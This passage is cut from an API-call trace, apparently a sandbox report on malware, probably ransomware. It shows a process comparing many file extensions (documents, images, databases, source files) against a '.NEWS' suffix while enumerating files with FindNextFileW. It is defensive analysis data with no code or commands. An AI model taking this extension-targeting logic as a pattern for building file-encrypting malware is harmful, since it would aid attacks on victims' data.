(lpString1=".ai7", lpString2="NEWS") returned -1 [0157.511] lstrlenW (lpString=".ai8") returned 4 [0157.512] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0157.512] lstrlenW (lpString=".anim") returned 5 [0157.512] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0157.512] lstrlenW (lpString=".arw") returned 4 [0157.512] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0157.512] lstrlenW (lpString=".as") returned 3 [0157.512] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0157.512] lstrlenW (lpString=".asa") returned 4 [0157.512] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0157.512] lstrlenW (lpString=".asc") returned 4 [0157.512] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0157.512] lstrlenW (lpString=".ascx") returned 5 [0157.512] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0157.512] lstrlenW (lpString=".asm") returned 4 [0157.512] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0157.512] lstrlenW (lpString=".asmx") returned 5 [0157.512] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0157.512] lstrlenW (lpString=".asp") returned 4 [0157.512] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0157.512] lstrlenW (lpString=".aspx") returned 5 [0157.512] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0157.512] lstrlenW (lpString=".asr") returned 4 [0157.512] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0157.512] lstrlenW (lpString=".asx") returned 4 [0157.512] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0157.512] lstrlenW (lpString=".avi") returned 4 [0157.512] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0157.512] lstrlenW (lpString=".avs") returned 4 [0157.512] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0157.512] lstrlenW (lpString=".backup") returned 7 [0157.512] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0157.512] lstrlenW (lpString=".bak") returned 4 [0157.512] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0157.512] lstrlenW (lpString=".bay") returned 4 [0157.512] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0157.512] lstrlenW (lpString=".bd") returned 3 [0157.512] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0157.513] lstrlenW (lpString=".bin") returned 4 [0157.513] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0157.513] lstrlenW (lpString=".bmp") returned 4 [0157.513] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0157.513] lstrlenW (lpString=".bz2") returned 4 [0157.513] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0157.513] lstrlenW (lpString=".c") returned 2 [0157.513] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0157.513] lstrlenW (lpString=".cdr") returned 4 [0157.513] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0157.513] lstrlenW (lpString=".cer") returned 4 [0157.513] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0157.513] lstrlenW (lpString=".cf") returned 3 [0157.513] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0157.513] lstrlenW (lpString=".cfc") returned 4 [0157.513] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0157.513] lstrlenW (lpString=".cfm") returned 4 [0157.513] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0157.513] lstrlenW (lpString=".cfml") returned 5 [0157.513] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0157.513] lstrlenW (lpString=".cfu") returned 4 [0157.513] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0157.513] lstrlenW (lpString=".chm") returned 4 [0157.513] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0157.513] lstrlenW (lpString=".cin") returned 4 [0157.513] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0157.513] lstrlenW (lpString=".class") returned 6 [0157.513] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0157.513] lstrlenW (lpString=".clx") returned 4 [0157.513] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0157.513] lstrlenW (lpString=".config") returned 7 [0157.513] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0157.513] lstrlenW (lpString=".cpp") returned 4 [0157.513] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0157.513] lstrlenW (lpString=".cr2") returned 4 [0157.513] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0157.513] lstrlenW (lpString=".crt") returned 4 [0157.514] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".crw") returned 4 [0157.514] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".cs") returned 3 [0157.514] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0157.514] lstrlenW (lpString=".css") returned 4 [0157.514] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".csv") returned 4 [0157.514] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".cub") returned 4 [0157.514] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".dae") returned 4 [0157.514] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".dat") returned 4 [0157.514] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".db") returned 3 [0157.514] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0157.514] lstrlenW (lpString=".dbf") returned 4 [0157.514] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".dbx") returned 4 [0157.514] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".dc3") returned 4 [0157.514] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".dcm") returned 4 [0157.514] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".dcr") returned 4 [0157.514] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".der") returned 4 [0157.514] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".dib") returned 4 [0157.514] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".dic") returned 4 [0157.514] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".dif") returned 4 [0157.514] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0157.514] lstrlenW (lpString=".divx") returned 5 [0157.514] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0157.514] lstrlenW (lpString=".djvu") returned 5 [0157.515] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0157.515] lstrlenW (lpString=".dng") returned 4 [0157.515] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0157.515] lstrlenW (lpString=".doc") returned 4 [0157.515] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0157.515] lstrlenW (lpString=".docm") returned 5 [0157.515] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0157.515] lstrlenW (lpString=".docx") returned 5 [0157.515] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0157.515] lstrlenW (lpString=".dot") returned 4 [0157.515] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0157.515] lstrlenW (lpString=".dotm") returned 5 [0157.515] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0157.515] lstrlenW (lpString=".dotx") returned 5 [0157.515] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0157.515] lstrlenW (lpString=".dpx") returned 4 [0157.515] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0157.515] lstrlenW (lpString=".dqy") returned 4 [0157.515] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0157.515] lstrlenW (lpString=".dsn") returned 4 [0157.515] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0157.515] lstrlenW (lpString=".dt") returned 3 [0157.515] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0157.515] lstrlenW (lpString=".dtd") returned 4 [0157.515] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0157.515] lstrlenW (lpString=".dwg") returned 4 [0157.515] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0157.515] lstrlenW (lpString=".dwt") returned 4 [0157.515] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0157.515] lstrlenW (lpString=".dx") returned 3 [0157.515] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0157.515] lstrlenW (lpString=".dxf") returned 4 [0157.515] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0157.515] lstrlenW (lpString=".edml") returned 5 [0157.515] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0157.515] lstrlenW (lpString=".efd") returned 4 [0157.515] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".elf") returned 4 [0157.516] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".emf") returned 4 [0157.516] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".emz") returned 4 [0157.516] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".epf") returned 4 [0157.516] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".eps") returned 4 [0157.516] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".epsf") returned 5 [0157.516] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0157.516] lstrlenW (lpString=".epsp") returned 5 [0157.516] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0157.516] lstrlenW (lpString=".erf") returned 4 [0157.516] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".exr") returned 4 [0157.516] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".f4v") returned 4 [0157.516] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".fido") returned 5 [0157.516] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0157.516] lstrlenW (lpString=".flm") returned 4 [0157.516] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".flv") returned 4 [0157.516] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".frm") returned 4 [0157.516] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".fxg") returned 4 [0157.516] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".geo") returned 4 [0157.516] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".gif") returned 4 [0157.516] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".grs") returned 4 [0157.516] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0157.516] lstrlenW (lpString=".gz") returned 3 [0157.516] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0157.517] lstrlenW (lpString=".h") returned 2 [0157.517] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0157.517] lstrlenW (lpString=".hdr") returned 4 [0157.517] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0157.517] lstrlenW (lpString=".hpp") returned 4 [0157.517] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0157.517] lstrlenW (lpString=".hta") returned 4 [0157.517] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0157.517] lstrlenW (lpString=".htc") returned 4 [0157.517] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0157.517] lstrlenW (lpString=".htm") returned 4 [0157.517] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0157.517] lstrlenW (lpString=".html") returned 5 [0157.517] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0157.517] lstrlenW (lpString=".icb") returned 4 [0157.517] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0157.517] lstrlenW (lpString=".ics") returned 4 [0157.517] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0157.517] lstrlenW (lpString=".iff") returned 4 [0157.517] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0157.517] lstrlenW (lpString=".inc") returned 4 [0157.517] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0157.517] lstrlenW (lpString=".indd") returned 5 [0157.517] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0157.517] lstrlenW (lpString=".ini") returned 4 [0157.517] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0157.517] lstrlenW (lpString=".iqy") returned 4 [0157.517] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0157.517] lstrlenW (lpString=".j2c") returned 4 [0157.517] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0157.517] lstrlenW (lpString=".j2k") returned 4 [0157.517] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0157.517] lstrlenW (lpString=".java") returned 5 [0157.517] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0157.517] lstrlenW (lpString=".jp2") returned 4 [0157.517] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0157.517] lstrlenW (lpString=".jpc") returned 4 [0157.518] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0157.518] lstrlenW (lpString=".jpe") returned 4 [0157.518] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0157.518] lstrlenW (lpString=".jpeg") returned 5 [0157.518] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0157.518] lstrlenW (lpString=".jpf") returned 4 [0157.518] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0157.518] lstrlenW (lpString=".jpg") returned 4 [0157.518] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0157.518] lstrlenW (lpString=".jpx") returned 4 [0157.518] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0157.518] lstrlenW (lpString=".js") returned 3 [0157.518] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0157.518] lstrlenW (lpString=".jsf") returned 4 [0157.518] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0157.518] lstrlenW (lpString=".json") returned 5 [0157.518] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0157.518] lstrlenW (lpString=".jsp") returned 4 [0157.518] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0157.518] lstrlenW (lpString=".kdc") returned 4 [0157.518] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0157.518] lstrlenW (lpString=".kmz") returned 4 [0157.518] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0157.518] lstrlenW (lpString=".kwm") returned 4 [0157.518] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0157.518] lstrlenW (lpString=".lasso") returned 6 [0157.518] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0157.518] lstrlenW (lpString=".lbi") returned 4 [0157.518] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0157.518] lstrlenW (lpString=".lgf") returned 4 [0157.518] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0157.518] lstrlenW (lpString=".lgp") returned 4 [0157.518] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0157.518] lstrlenW (lpString=".log") returned 4 [0157.518] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0157.518] lstrlenW (lpString=".m1v") returned 4 [0157.518] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0157.518] lstrlenW (lpString=".m4a") returned 4 [0157.519] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".m4v") returned 4 [0157.519] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".max") returned 4 [0157.519] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".md") returned 3 [0157.519] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0157.519] lstrlenW (lpString=".mda") returned 4 [0157.519] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".mdb") returned 4 [0157.519] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".mde") returned 4 [0157.519] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".mdf") returned 4 [0157.519] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".mdw") returned 4 [0157.519] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".mef") returned 4 [0157.519] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".mft") returned 4 [0157.519] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".mfw") returned 4 [0157.519] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".mht") returned 4 [0157.519] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".mhtml") returned 6 [0157.519] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0157.519] lstrlenW (lpString=".mka") returned 4 [0157.519] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".mkidx") returned 6 [0157.519] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0157.519] lstrlenW (lpString=".mkv") returned 4 [0157.519] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".mos") returned 4 [0157.519] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".mov") returned 4 [0157.519] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0157.519] lstrlenW (lpString=".mp3") returned 4 [0157.520] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".mp4") returned 4 [0157.520] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".mpeg") returned 5 [0157.520] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0157.520] lstrlenW (lpString=".mpg") returned 4 [0157.520] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".mpv") returned 4 [0157.520] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".mrw") returned 4 [0157.520] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".msg") returned 4 [0157.520] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".mxl") returned 4 [0157.520] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".myd") returned 4 [0157.520] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".myi") returned 4 [0157.520] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".nef") returned 4 [0157.520] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".nrw") returned 4 [0157.520] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".obj") returned 4 [0157.520] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".odb") returned 4 [0157.520] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".odc") returned 4 [0157.520] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".odm") returned 4 [0157.520] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".odp") returned 4 [0157.520] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".ods") returned 4 [0157.520] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0157.520] lstrlenW (lpString=".oft") returned 4 [0157.520] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".one") returned 4 [0157.521] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".onepkg") returned 7 [0157.521] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0157.521] lstrlenW (lpString=".onetoc2") returned 8 [0157.521] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0157.521] lstrlenW (lpString=".opt") returned 4 [0157.521] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".oqy") returned 4 [0157.521] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".orf") returned 4 [0157.521] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".p12") returned 4 [0157.521] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".p7b") returned 4 [0157.521] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".p7c") returned 4 [0157.521] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".pam") returned 4 [0157.521] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".pbm") returned 4 [0157.521] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".pct") returned 4 [0157.521] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".pcx") returned 4 [0157.521] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".pdd") returned 4 [0157.521] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".pdf") returned 4 [0157.521] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".pdp") returned 4 [0157.521] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".pef") returned 4 [0157.521] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0157.521] lstrlenW (lpString=".pem") returned 4 [0157.521] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0157.522] lstrlenW (lpString=".pff") returned 4 [0157.522] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0157.522] lstrlenW (lpString=".pfm") returned 4 [0157.522] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0157.522] lstrlenW (lpString=".pfx") returned 4 [0157.522] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0157.522] lstrlenW (lpString=".pgm") returned 4 [0157.522] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0157.522] lstrlenW (lpString=".php") returned 4 [0157.522] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0157.522] lstrlenW (lpString=".php3") returned 5 [0157.522] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0157.522] lstrlenW (lpString=".php4") returned 5 [0157.522] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0157.522] lstrlenW (lpString=".php5") returned 5 [0157.522] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0157.522] lstrlenW (lpString=".phtml") returned 6 [0157.522] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0157.522] lstrlenW (lpString=".pict") returned 5 [0157.522] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0157.522] lstrlenW (lpString=".pl") returned 3 [0157.522] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0157.522] lstrlenW (lpString=".pls") returned 4 [0157.522] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0157.522] lstrlenW (lpString=".pm") returned 3 [0157.522] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0157.522] lstrlenW (lpString=".png") returned 4 [0157.522] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0157.522] lstrlenW (lpString=".pnm") returned 4 [0157.522] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0157.522] lstrlenW (lpString=".pot") returned 4 [0157.522] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0157.522] lstrlenW (lpString=".potm") returned 5 [0157.522] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0157.522] lstrlenW (lpString=".potx") returned 5 [0157.522] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0157.522] lstrlenW (lpString=".ppa") returned 4 [0157.523] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0157.523] lstrlenW (lpString=".ppam") returned 5 [0157.523] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0157.523] lstrlenW (lpString=".ppm") returned 4 [0157.523] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0157.523] lstrlenW (lpString=".pps") returned 4 [0157.523] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0157.523] lstrlenW (lpString=".ppsm") returned 5 [0157.523] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0157.523] lstrlenW (lpString=".ppt") returned 4 [0157.523] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0157.523] lstrlenW (lpString=".pptm") returned 5 [0157.523] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0157.523] lstrlenW (lpString=".pptx") returned 5 [0157.523] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0157.523] lstrlenW (lpString=".prn") returned 4 [0157.523] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0157.523] lstrlenW (lpString=".ps") returned 3 [0157.523] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0157.523] lstrlenW (lpString=".psb") returned 4 [0157.523] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0157.523] lstrlenW (lpString=".psd") returned 4 [0157.523] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0157.523] lstrlenW (lpString=".pst") returned 4 [0157.523] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0157.523] lstrlenW (lpString=".ptx") returned 4 [0157.523] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0157.523] lstrlenW (lpString=".pub") returned 4 [0157.523] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0157.523] lstrlenW (lpString=".pwm") returned 4 [0157.523] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0157.523] lstrlenW (lpString=".pxr") returned 4 [0157.523] lstrcmpiW (lpString1=".pxr", lpString2="NEWS") returned -1 [0157.523] lstrlenW (lpString=".py") returned 3 [0157.523] lstrcmpiW (lpString1=".py", lpString2="EWS") returned -1 [0157.523] lstrlenW (lpString=".qt") returned 3 [0157.523] lstrcmpiW (lpString1=".qt", lpString2="EWS") returned -1 [0157.524] lstrlenW (lpString=".r3d") returned 4 [0157.524] lstrcmpiW (lpString1=".r3d", lpString2="NEWS") returned -1 [0157.524] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39616154, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39616154, 